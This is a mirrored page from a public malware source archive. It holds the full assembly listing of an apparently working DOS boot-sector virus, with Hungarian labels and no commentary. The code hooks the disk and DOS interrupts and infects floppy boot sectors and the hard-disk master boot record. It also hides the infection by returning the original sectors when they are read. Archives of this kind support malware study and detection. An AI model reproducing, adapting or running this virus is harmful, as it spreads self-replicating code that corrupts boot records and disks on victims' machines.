mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1204 lines
18 KiB
NASM
1204 lines
18 KiB
NASM
|
start segment
|
|||
|
assume cs:start,ds:start
|
|||
|
org 100h
|
|||
|
boot equ 0f00h
|
|||
|
kezd: db 52h,24h
|
|||
|
jmp hideg
|
|||
|
nop
|
|||
|
jmp meleg
|
|||
|
nop
|
|||
|
jmp tamad
|
|||
|
veg1: dw 0
|
|||
|
kezd1: dw 0
|
|||
|
meleg: pop si
|
|||
|
pop ds
|
|||
|
pop [si]
|
|||
|
pop [si+2]
|
|||
|
mov si,boot
|
|||
|
mov di,7c00h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
mov cx,100h
|
|||
|
pushf
|
|||
|
cld
|
|||
|
rep movsw
|
|||
|
popf
|
|||
|
ok1: db 0eah,00,7ch,0,0
|
|||
|
hideg: xor ax,ax
|
|||
|
push si
|
|||
|
push di
|
|||
|
push cx
|
|||
|
cld
|
|||
|
mov di,offset flag1
|
|||
|
mov si,offset flagv
|
|||
|
awq: stosb
|
|||
|
cmp di,si
|
|||
|
jc awq
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
mov es,ax
|
|||
|
mov ax,es:word ptr [4ch]
|
|||
|
mov cs:word ptr [int13+1],ax
|
|||
|
mov ax,es:word ptr [4eh]
|
|||
|
mov cs:word ptr [int13+3],ax
|
|||
|
mov ax,offset it13
|
|||
|
mov es:word ptr [4ch],ax
|
|||
|
mov es:[4eh],cs
|
|||
|
mov ax,es:word ptr [84h]
|
|||
|
mov cs:word ptr [int21+1],ax
|
|||
|
mov ax,es:word ptr [86h]
|
|||
|
mov cs:word ptr [int21+3],ax
|
|||
|
mov ax,0f000h
|
|||
|
mov es,ax
|
|||
|
mov al,es:byte ptr[0fff0h]
|
|||
|
cmp al,0eah
|
|||
|
jnz meleg
|
|||
|
mov ax,es:word ptr[0fff1h]
|
|||
|
mov cs:word ptr [reset+1],ax
|
|||
|
mov ax,es:word ptr[0fff3h]
|
|||
|
mov cs:word ptr [reset+3],ax
|
|||
|
jmp meleg
|
|||
|
int13: db 0eah,0,0,0,0
|
|||
|
int21: db 0eah,0,0,0,0
|
|||
|
int40: db 0eah,0,0,0,0
|
|||
|
flag1: db 0
|
|||
|
flag2: db 0
|
|||
|
flag3: db 0
|
|||
|
flag4: dw 0
|
|||
|
flag5: db 0
|
|||
|
flagv db 0
|
|||
|
egys: db 0
|
|||
|
sub13: cmp dl,0
|
|||
|
jz sub40
|
|||
|
visx: pushf
|
|||
|
push cs
|
|||
|
mov dl,cs:byte ptr [egys]
|
|||
|
call int13
|
|||
|
ret
|
|||
|
sub40: push ax
|
|||
|
mov al,cs:byte ptr [flag5]
|
|||
|
cmp al,80
|
|||
|
pop ax
|
|||
|
jmp visx
|
|||
|
pushf
|
|||
|
push cs
|
|||
|
call int40
|
|||
|
ret
|
|||
|
subru: push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:word ptr [78h]
|
|||
|
mov cs:word ptr [int1e],ax
|
|||
|
mov ax,ds:word ptr [7ah]
|
|||
|
mov cs:word ptr [int1e+2],ax
|
|||
|
mov al,cs:byte ptr [sav]
|
|||
|
cmp al,28h
|
|||
|
jz dds
|
|||
|
mov bx,offset hdtbl
|
|||
|
jmp hds
|
|||
|
dds: mov bx,offset dstbl
|
|||
|
mov cx,offset tb360
|
|||
|
jmp okea
|
|||
|
hds: mov ax,cs:word ptr [szekt]
|
|||
|
mov cx,offset tb12
|
|||
|
cmp ax,0fh
|
|||
|
jz okea
|
|||
|
mov cx,offset tb720
|
|||
|
cmp ax,9
|
|||
|
jz okea
|
|||
|
mov cx,offset tb14
|
|||
|
okea: mov ds:word ptr [78h],cx
|
|||
|
mov ds:word ptr [7ah],cs
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
call sub13
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
pushf
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,cs:word ptr [int1e]
|
|||
|
mov ds:word ptr [78h],ax
|
|||
|
mov ax,cs:word ptr [int1e+2]
|
|||
|
mov ds:word ptr [7ah],ax
|
|||
|
popf
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
sub21: pushf
|
|||
|
push cs
|
|||
|
call int21
|
|||
|
ret
|
|||
|
it21: cmp ah,3dh
|
|||
|
jnz fu3e
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
mov bx,dx
|
|||
|
cikl1: mov al,[bx]
|
|||
|
cmp al,0
|
|||
|
jz veg
|
|||
|
inc bx
|
|||
|
jmp cikl1
|
|||
|
veg: push si
|
|||
|
mov si,offset nev
|
|||
|
dec bx
|
|||
|
dec si
|
|||
|
mov cx,11
|
|||
|
cikl2: mov al,[bx]
|
|||
|
or al,20h
|
|||
|
cmp al,cs:[si]
|
|||
|
jz nem4
|
|||
|
jmp nem1
|
|||
|
nem4: dec si
|
|||
|
dec bx
|
|||
|
loop cikl2
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
call sub21
|
|||
|
jnc igen1
|
|||
|
retf 2
|
|||
|
igen1: mov cs:word ptr [flag4],ax
|
|||
|
nem2: clc
|
|||
|
retf 2
|
|||
|
fu3e: cmp ah,3eh
|
|||
|
jz aah
|
|||
|
jmp int21
|
|||
|
aah: cmp bx,cs:word ptr [flag4]
|
|||
|
jz folyt8
|
|||
|
jmp int21
|
|||
|
folyt8: cmp cs:word ptr [flag4],0
|
|||
|
jnz folyt9
|
|||
|
jmp int21
|
|||
|
folyt9: mov cs:word ptr [flag4],0
|
|||
|
call sub21
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov cs:byte ptr [fo],0
|
|||
|
ujfo: mov bx,200h
|
|||
|
mov ah,48h
|
|||
|
call sub21
|
|||
|
cmp bx,200h
|
|||
|
jnc fogl
|
|||
|
nem3: pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
retf 2
|
|||
|
fo: db 0
|
|||
|
fogl: push ax
|
|||
|
and ax,0fffh
|
|||
|
cmp ax,0db0h
|
|||
|
jc okes1
|
|||
|
pop ax
|
|||
|
cmp cs:byte ptr [fo],3
|
|||
|
jz nem3
|
|||
|
inc cs:byte ptr [fo]
|
|||
|
jmp ujfo
|
|||
|
okes1: pop ax
|
|||
|
okes: mov es,ax
|
|||
|
mov cs:word ptr [szegm],ax
|
|||
|
mov si,0
|
|||
|
mov di,0
|
|||
|
mov cx,1000h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pushf
|
|||
|
cld
|
|||
|
rep movsw
|
|||
|
popf
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,0
|
|||
|
mov ds,ax
|
|||
|
mov ax,offset it21
|
|||
|
mov dx,cs
|
|||
|
mov bx,0
|
|||
|
mov cx,0fff0h
|
|||
|
tovabb: call keres
|
|||
|
jnz nincs
|
|||
|
push ax
|
|||
|
mov ax,cs:word ptr [int21+1]
|
|||
|
mov ds:word ptr [bx],ax
|
|||
|
mov ax,cs:word ptr [int21+3]
|
|||
|
mov ds:word ptr [bx+2],ax
|
|||
|
pop ax
|
|||
|
jmp tovabb
|
|||
|
reset: db 0eah,0f0h,0ffh,0,0f0h
|
|||
|
nincs: mov ax,offset it13
|
|||
|
mov dx,cs
|
|||
|
mov bx,0
|
|||
|
mov cx,0fff0h
|
|||
|
tovab1: call keres
|
|||
|
jnz kil2
|
|||
|
push ax
|
|||
|
mov ax,es
|
|||
|
mov ds:word ptr [bx+2],ax
|
|||
|
pop ax
|
|||
|
jmp tovab1
|
|||
|
kil2: mov ax,0
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:word ptr [100h]
|
|||
|
mov es:word ptr [int40+1],ax
|
|||
|
mov ax,ds:word ptr [102h]
|
|||
|
mov es:word ptr [int40+3],ax
|
|||
|
call beszur
|
|||
|
mov ax,offset it40
|
|||
|
jmp nem3
|
|||
|
mov ds:word ptr [100h],ax
|
|||
|
mov ax,es
|
|||
|
mov ds:word ptr [102h],ax
|
|||
|
mov es:byte ptr [flag5],80
|
|||
|
jmp nem3
|
|||
|
keres: push ax
|
|||
|
push dx
|
|||
|
ker1: cmp word ptr[bx],ax
|
|||
|
jz van1
|
|||
|
nincs1: inc bx
|
|||
|
loop ker1
|
|||
|
inc cx
|
|||
|
kil1: pop dx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
van1: cmp word ptr [bx+2],dx
|
|||
|
jnz nincs1
|
|||
|
jmp kil1
|
|||
|
nem1: pop si
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
jmp int21
|
|||
|
db 'command.com'
|
|||
|
nev: db 0
|
|||
|
it13: push bx
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push di
|
|||
|
push si
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cx
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
mov bx,offset atir
|
|||
|
mov cx,2
|
|||
|
erdf: call ftr
|
|||
|
jc poiu
|
|||
|
loop erdf
|
|||
|
jmp reset
|
|||
|
ftr: mov al,90h
|
|||
|
clc
|
|||
|
mov [bx],al
|
|||
|
atir: stc
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
mov al,0f9h
|
|||
|
mov [bx],al
|
|||
|
ret
|
|||
|
poiu: pop dx
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
cmp cs:byte ptr [mod1],1
|
|||
|
jnz awsw
|
|||
|
jmp leol
|
|||
|
awsw: mov cs:byte ptr [egys],dl
|
|||
|
cmp ah,2
|
|||
|
jc aab
|
|||
|
cmp ah,4
|
|||
|
jnc aab
|
|||
|
cmp cx,3
|
|||
|
jnc aab
|
|||
|
cmp dh,0
|
|||
|
jnz aab
|
|||
|
mov cs:byte ptr [flag3],80h
|
|||
|
aab: mov al,cs:byte ptr [flag1]
|
|||
|
cmp al,80h
|
|||
|
jz ugr1
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
mov ax,es:word ptr [84h]
|
|||
|
cmp ax,cs:word ptr [int21+1]
|
|||
|
jz tov1
|
|||
|
jmp dos
|
|||
|
tov1: mov ax,es:word ptr [86h]
|
|||
|
cmp ax,cs:word ptr [int21+3]
|
|||
|
jz ugr1
|
|||
|
jmp dos
|
|||
|
ugr1: cmp di,55aah
|
|||
|
jnz norm
|
|||
|
cmp si,5aa5h
|
|||
|
jnz norm
|
|||
|
pop si
|
|||
|
mov si,0a55ah
|
|||
|
push si
|
|||
|
norm: cmp dl,20h
|
|||
|
jc lemeza
|
|||
|
cmp dl,80h
|
|||
|
jz win
|
|||
|
fdg: jmp kilep
|
|||
|
win: jmp wincsi
|
|||
|
it40: jmp int40
|
|||
|
lemeza: mov al,cs:byte ptr [flag3]
|
|||
|
cmp al,80h
|
|||
|
jz lcsere
|
|||
|
cmp ah,5
|
|||
|
jnz haha1
|
|||
|
haha2: mov cs:byte ptr [flag3],84h
|
|||
|
jmp haha
|
|||
|
haha1: cmp al,0
|
|||
|
jz haha
|
|||
|
dec cs:byte ptr [flag3]
|
|||
|
haha: jmp kilepo
|
|||
|
hah1: call sub13
|
|||
|
jnc viter1
|
|||
|
idt: cmp ah,6
|
|||
|
jnz viter
|
|||
|
mov cs:byte ptr [flag3],80h
|
|||
|
viter: stc
|
|||
|
viter1: retf 2
|
|||
|
lcsere: mov cs:byte ptr [flag2],0
|
|||
|
cmp ah,5
|
|||
|
jz haha2
|
|||
|
mov cx,3
|
|||
|
cikl7: push cx
|
|||
|
mov cs:byte ptr [flag3],0
|
|||
|
mov bx,boot+200h
|
|||
|
mov ax,201h
|
|||
|
mov cx,1
|
|||
|
mov dx,0
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub13
|
|||
|
pop cx
|
|||
|
jnc ugr4
|
|||
|
loop cikl7
|
|||
|
jmp kilep
|
|||
|
ugr4: push cs
|
|||
|
pop ds
|
|||
|
mov bx,boot+200h
|
|||
|
mov cx,200h
|
|||
|
mov ax,0cdfbh
|
|||
|
mov dx,7213h
|
|||
|
call keres
|
|||
|
jz folyt1
|
|||
|
jmp kilep
|
|||
|
folyt1: mov cs:byte ptr [fert],1
|
|||
|
mov ax,[bx+5]
|
|||
|
cmp ax,12cdh
|
|||
|
mov cs:word ptr [cime],bx
|
|||
|
mov cs:word ptr[wax],308h
|
|||
|
jz foi
|
|||
|
jmp folyt2
|
|||
|
foi: mov al,cs:[bx+5+offset ver1-offset kezd2]
|
|||
|
cmp al,23
|
|||
|
jnz meh
|
|||
|
mov ax,cs:[bx+6+offset ver1-offset kezd2]
|
|||
|
cmp ax,word ptr ver1+1
|
|||
|
jnc kilepo
|
|||
|
meh: mov cs:word ptr [wax],307h
|
|||
|
jmp folyt2
|
|||
|
fert: db 0,0
|
|||
|
kilepo: pop si
|
|||
|
pop di
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
cmp dh,0
|
|||
|
jz ugs
|
|||
|
jmp hah1
|
|||
|
ugs: cmp cx,1
|
|||
|
jz bout1
|
|||
|
jmp hah1
|
|||
|
bout1: cmp ah,2
|
|||
|
jz bout
|
|||
|
cmp ah,3
|
|||
|
jz save
|
|||
|
jmp hah1
|
|||
|
bout: call sub13
|
|||
|
jnc ada
|
|||
|
jmp idt
|
|||
|
ada: cmp cs:byte ptr [flag1],80h
|
|||
|
jz ase
|
|||
|
jmp hah1
|
|||
|
ase: push si
|
|||
|
pushf
|
|||
|
mov si,offset bot1
|
|||
|
call ase1
|
|||
|
popf
|
|||
|
pop si
|
|||
|
jmp viter1
|
|||
|
save: cmp cs:byte ptr [fert],1
|
|||
|
jz save2
|
|||
|
jmp kif
|
|||
|
save2: mov cs:byte ptr [fert],0
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push di
|
|||
|
push si
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov cx,200h
|
|||
|
mov si,bx
|
|||
|
mov di,offset boot+200h
|
|||
|
rep movsb
|
|||
|
jmp folyt3
|
|||
|
kif: pop bx
|
|||
|
pop cx
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
clc
|
|||
|
jmp viter1
|
|||
|
ase1: push bx
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,cs:word ptr [cime]
|
|||
|
and ax,0ffh
|
|||
|
add bx,ax
|
|||
|
mov di,bx
|
|||
|
mov cx,59h
|
|||
|
pushf
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
popf
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
clc
|
|||
|
ret
|
|||
|
folyt2: mov bx,boot+200h
|
|||
|
mov ax,301h
|
|||
|
mov cx,1
|
|||
|
mov dx,0
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub13
|
|||
|
jnc folyt3
|
|||
|
jmp kilep
|
|||
|
folyt3: push cs
|
|||
|
pop ds
|
|||
|
mov bx,boot+200h
|
|||
|
mov ax,[bx+18h]
|
|||
|
mov cs:word ptr [szekt],ax
|
|||
|
mov cx,[bx+1ah]
|
|||
|
mul cx
|
|||
|
mov cx,ax
|
|||
|
mov ax,[bx+13h]
|
|||
|
mov dx,0
|
|||
|
div cx
|
|||
|
mov cs:byte ptr [sav],al
|
|||
|
mov ch,al
|
|||
|
mov al,1
|
|||
|
ugr3: nop
|
|||
|
mov cl,5
|
|||
|
mov ah,5
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov dx,0
|
|||
|
push cx
|
|||
|
cmp cs:word ptr [wax],307h
|
|||
|
clc
|
|||
|
jz waxi
|
|||
|
cmp cs:byte ptr [fert],0
|
|||
|
clc
|
|||
|
jz waxi
|
|||
|
call subru
|
|||
|
waxi: push ds
|
|||
|
push ax
|
|||
|
pop ax
|
|||
|
pop ds
|
|||
|
pop cx
|
|||
|
jnc jo4
|
|||
|
jmp kilep
|
|||
|
sav: db 0
|
|||
|
wax: dw 0
|
|||
|
szekt: dw 0
|
|||
|
jo4: mov si,boot+200h
|
|||
|
mov di,boot
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push cx
|
|||
|
mov cx,100h
|
|||
|
pushf
|
|||
|
cld
|
|||
|
rep movsw
|
|||
|
popf
|
|||
|
pop cx
|
|||
|
push cx
|
|||
|
mov ax,cs:word ptr [wax]
|
|||
|
mov dx,0
|
|||
|
mov cl,1
|
|||
|
mov bx,100h
|
|||
|
cmp cs:byte ptr [fert],0
|
|||
|
clc
|
|||
|
jz hoho
|
|||
|
call sub13
|
|||
|
hoho: pop cx
|
|||
|
jnc jo2
|
|||
|
jmp kilep
|
|||
|
jo2: push cs
|
|||
|
pop ds
|
|||
|
push cx
|
|||
|
mov bx,boot+200h
|
|||
|
mov ax,0cdfbh
|
|||
|
mov dx,7213h
|
|||
|
mov cx,200h
|
|||
|
call keres
|
|||
|
pop cx
|
|||
|
jz jo3
|
|||
|
jmp kilep
|
|||
|
jo3: push bx
|
|||
|
push cx
|
|||
|
mov cx,100h
|
|||
|
mov ax,0e432h
|
|||
|
mov dx,16cdh
|
|||
|
call keres
|
|||
|
jz jo5
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
jmp kilep
|
|||
|
jo5: sub bx,6
|
|||
|
mov cs:word ptr [veg1],bx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
add bx,5
|
|||
|
mov cs:word ptr [kezd1],bx
|
|||
|
mov cs:byte ptr [fej+2],ch
|
|||
|
push cx
|
|||
|
mov si,offset kezd2
|
|||
|
mov bx,cs:word ptr [kezd1]
|
|||
|
mov cx,offset veg2-offset kezd2
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
cikl9: mov al,[si]
|
|||
|
mov [bx],al
|
|||
|
inc bx
|
|||
|
inc si
|
|||
|
loop cikl9
|
|||
|
cikl10: mov ds:byte ptr [bx],90h
|
|||
|
inc bx
|
|||
|
cmp bx,cs:word ptr [veg1]
|
|||
|
jc cikl10
|
|||
|
pop cx
|
|||
|
mov cx,3
|
|||
|
wqe: push cx
|
|||
|
mov cx,1
|
|||
|
mov dx,0
|
|||
|
mov ax,301h
|
|||
|
mov bx,boot+200h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub13
|
|||
|
jc kikk
|
|||
|
pop cx
|
|||
|
cmp cs:byte ptr [fert],0
|
|||
|
jnz kig
|
|||
|
jmp kif
|
|||
|
kig: jmp kilepo
|
|||
|
kikk: pop cx
|
|||
|
loop wqe
|
|||
|
jmp kilep
|
|||
|
dos: nop
|
|||
|
mov al,80h
|
|||
|
mov cs:byte ptr [flag1],al
|
|||
|
mov ax,es:word ptr [84h]
|
|||
|
mov cs:word ptr [int21+1],ax
|
|||
|
mov ax,es:word ptr [86h]
|
|||
|
mov cs:word ptr [int21+3],ax
|
|||
|
mov ax,offset it21
|
|||
|
mov es:word ptr [84h],ax
|
|||
|
mov es:[86h],cs
|
|||
|
kilep: pop si
|
|||
|
pop di
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
jmp int13
|
|||
|
tamad: push cs
|
|||
|
pop ds
|
|||
|
mov cs:word ptr [szama],28800
|
|||
|
xor ax,ax
|
|||
|
push si
|
|||
|
push di
|
|||
|
push cx
|
|||
|
cld
|
|||
|
mov di,offset flag1
|
|||
|
mov si,offset flagv
|
|||
|
alsk: stosb
|
|||
|
cmp di,si
|
|||
|
jc alsk
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
mov es,ax
|
|||
|
mov cs:byte ptr[flag1],80h
|
|||
|
mov ax,es:word ptr [4ch]
|
|||
|
mov cs:word ptr [int13+1],ax
|
|||
|
mov ax,es:word ptr [4eh]
|
|||
|
mov cs:word ptr [int13+3],ax
|
|||
|
mov ax,offset it13
|
|||
|
mov es:word ptr[4ch],ax
|
|||
|
mov es:word ptr[4eh],cs
|
|||
|
mov ax,201h
|
|||
|
mov bx,offset boot+400h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov dx,180h
|
|||
|
mov cx,1
|
|||
|
int 13h
|
|||
|
mov ax,0
|
|||
|
mov es,ax
|
|||
|
mov ax,cs:word ptr [int13+1]
|
|||
|
mov es:word ptr[4ch],ax
|
|||
|
mov ax,cs:word ptr [int13+3]
|
|||
|
mov es:word ptr[4eh],ax
|
|||
|
mov ax,0f000h
|
|||
|
mov es,ax
|
|||
|
mov al,es:byte ptr [0fff0h]
|
|||
|
cmp al,0eah
|
|||
|
jnz akdj
|
|||
|
mov ax,es:word ptr [0fff1h]
|
|||
|
mov cs:word ptr [reset+1],ax
|
|||
|
mov ax,es:word ptr [0fff3h]
|
|||
|
mov cs:word ptr [reset+3],ax
|
|||
|
akdj: retf
|
|||
|
kezd2: int 12h
|
|||
|
mov bx,40h
|
|||
|
mul bx
|
|||
|
sub ax,1000h
|
|||
|
mov es,ax
|
|||
|
mov dx,0
|
|||
|
jmp fej
|
|||
|
ver1: db 23,0,6
|
|||
|
fej: mov cx,2801h
|
|||
|
mov ax,208h
|
|||
|
mov bx,100h
|
|||
|
push bx
|
|||
|
cmp es:word ptr [bx],2452h
|
|||
|
jz el1
|
|||
|
int 13h
|
|||
|
pop bx
|
|||
|
jc veg2
|
|||
|
push es
|
|||
|
mov ax,102h
|
|||
|
el2: push ax
|
|||
|
retf
|
|||
|
el1: mov bx,0f00h
|
|||
|
mov al,1
|
|||
|
mov cl,8
|
|||
|
int 13h
|
|||
|
pop bx
|
|||
|
jc veg2
|
|||
|
push es
|
|||
|
mov ax,105h
|
|||
|
jmp el2
|
|||
|
veg2: nop
|
|||
|
nop
|
|||
|
wincsi: jmp aba
|
|||
|
aasw: mov al,cs:byte ptr [flag2]
|
|||
|
cmp al,80h
|
|||
|
jz cxz
|
|||
|
jmp kilep
|
|||
|
cxz: pop si
|
|||
|
pop di
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
cmp ch,0
|
|||
|
jz acb
|
|||
|
jmp abbb
|
|||
|
acb: cmp cl,0ah
|
|||
|
jc acd
|
|||
|
jmp abbb
|
|||
|
acd: cmp dh,0
|
|||
|
jz ace
|
|||
|
jmp abbb
|
|||
|
ace: cmp ah,3
|
|||
|
jnz abe
|
|||
|
mov cs:byte ptr [flag2],0
|
|||
|
abb: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov dx,80h
|
|||
|
mov ax,201h
|
|||
|
mov cx,9
|
|||
|
mov bx,offset boot+200h
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov dx,80h
|
|||
|
call sub13
|
|||
|
jc aca
|
|||
|
mov ax,301h
|
|||
|
mov cx,1
|
|||
|
mov dx,80h
|
|||
|
mov bx,offset boot+200h
|
|||
|
call sub13
|
|||
|
aca: pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
abbb: call sub13
|
|||
|
jmp viter1
|
|||
|
abe: cmp ah,2
|
|||
|
jnz abbb
|
|||
|
push di
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push ax
|
|||
|
mov ah,0
|
|||
|
mov di,ax
|
|||
|
pop ax
|
|||
|
abj: push cx
|
|||
|
cmp cl,1
|
|||
|
jnz abh
|
|||
|
mov cl,9
|
|||
|
jmp abi
|
|||
|
abh: mov cx,0ah
|
|||
|
abi: push bx
|
|||
|
push di
|
|||
|
mov al,1
|
|||
|
push es
|
|||
|
mov ah,2
|
|||
|
call sub13
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
pop bx
|
|||
|
pop cx
|
|||
|
jc abk
|
|||
|
add bx,200h
|
|||
|
mov cl,2
|
|||
|
dec di
|
|||
|
jnz abj
|
|||
|
pop ax
|
|||
|
mov ah,0
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
clc
|
|||
|
jmp viter1
|
|||
|
abk: pop bx
|
|||
|
pop bx
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop di
|
|||
|
mov al,0
|
|||
|
jmp viter1
|
|||
|
aba: mov al,cs:byte ptr [flag2]
|
|||
|
cmp al,80h
|
|||
|
jnz abc
|
|||
|
jmp aasw
|
|||
|
abc: cmp al,40h
|
|||
|
jnz abw
|
|||
|
jmp aasw
|
|||
|
abw: mov cx,3
|
|||
|
ckld: push cx
|
|||
|
mov dx,80h
|
|||
|
mov cx,1
|
|||
|
mov bx,offset boot
|
|||
|
mov ax,201h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub13
|
|||
|
pop cx
|
|||
|
jnc abdq
|
|||
|
loop ckld
|
|||
|
kias: jmp aasw
|
|||
|
abdq: mov dx,180h
|
|||
|
mov cx,1
|
|||
|
mov bx,offset boot+200h
|
|||
|
mov ax,201h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call sub13
|
|||
|
jc kias
|
|||
|
mov bx,offset boot+200h
|
|||
|
mov ax,cs:[bx+1feh]
|
|||
|
cmp ax,0aa55h
|
|||
|
jz abd
|
|||
|
mov cs:byte ptr [flag2],40h
|
|||
|
jmp kias
|
|||
|
abd: push cs
|
|||
|
pop ds
|
|||
|
mov cx,3
|
|||
|
mov bx,offset boot
|
|||
|
mov si,offset kezd3
|
|||
|
kere: mov al,[bx]
|
|||
|
cmp al,[si]
|
|||
|
jnz nem9
|
|||
|
inc bx
|
|||
|
inc si
|
|||
|
loop kere
|
|||
|
sub bx,3
|
|||
|
add bx,offset ver2-kezd3
|
|||
|
mov al,[bx]
|
|||
|
cmp al,23
|
|||
|
jnz nemq
|
|||
|
mov ax,[si+offset ver2-offset kezd3]
|
|||
|
cmp ax,[bx+1]
|
|||
|
jc nemr
|
|||
|
nemq: mov ax,307h
|
|||
|
jmp nemw
|
|||
|
nemr: mov cs:byte ptr [flag2],80h
|
|||
|
jmp aasw
|
|||
|
nem9: mov ax,308h
|
|||
|
nemw: mov dx,80h
|
|||
|
mov cx,2
|
|||
|
mov bx,100h
|
|||
|
call sub13
|
|||
|
jnc oby
|
|||
|
jmp aasw
|
|||
|
oby: mov si,offset kezd3
|
|||
|
mov cx,offset veg3-offset kezd3
|
|||
|
mov di,offset boot
|
|||
|
pushf
|
|||
|
cld
|
|||
|
rep movsb
|
|||
|
popf
|
|||
|
mov ax,301h
|
|||
|
mov dx,80h
|
|||
|
mov cx,01h
|
|||
|
mov bx,offset boot
|
|||
|
call sub13
|
|||
|
mov cs:byte ptr [flag2],80h
|
|||
|
jmp aasw
|
|||
|
kezd3: int 12h
|
|||
|
mov bx,40h
|
|||
|
mul bx
|
|||
|
sub ax,1000h
|
|||
|
mov es,ax
|
|||
|
xor ax,ax
|
|||
|
jmp ugas
|
|||
|
ver2: db 23,0,6
|
|||
|
ugas: mov ss,ax
|
|||
|
mov sp,7c00h
|
|||
|
mov dx,80h
|
|||
|
mov cx,02h
|
|||
|
mov ax,208h
|
|||
|
mov bx,100h
|
|||
|
push bx
|
|||
|
cmp es:word ptr [bx],2452h
|
|||
|
jz el11
|
|||
|
int 13h
|
|||
|
pop bx
|
|||
|
jc vege
|
|||
|
push es
|
|||
|
mov ax,102h
|
|||
|
el21: push ax
|
|||
|
retf
|
|||
|
el11: mov bx,0f00h
|
|||
|
mov al,1
|
|||
|
mov cl,9
|
|||
|
int 13h
|
|||
|
pop bx
|
|||
|
jc vege
|
|||
|
push es
|
|||
|
mov ax,105h
|
|||
|
jmp el21
|
|||
|
vege: jmp vege ;szoveg kiiratasa
|
|||
|
veg3: nop
|
|||
|
nop
|
|||
|
cime: dw 0
|
|||
|
bot1: sti
|
|||
|
int 13h
|
|||
|
db 72h,67h
|
|||
|
mov al,ds:[7c10h]
|
|||
|
cbw
|
|||
|
mul ds:word ptr [7c16h]
|
|||
|
add ax,ds:[7c1ch]
|
|||
|
add ax,ds:[7c0eh]
|
|||
|
mov ds:[7c3fh],ax
|
|||
|
mov ds:[7c37h],ax
|
|||
|
mov ax,20h
|
|||
|
mul ds:word ptr [7c11h]
|
|||
|
mov bx,ds:[7c0bh]
|
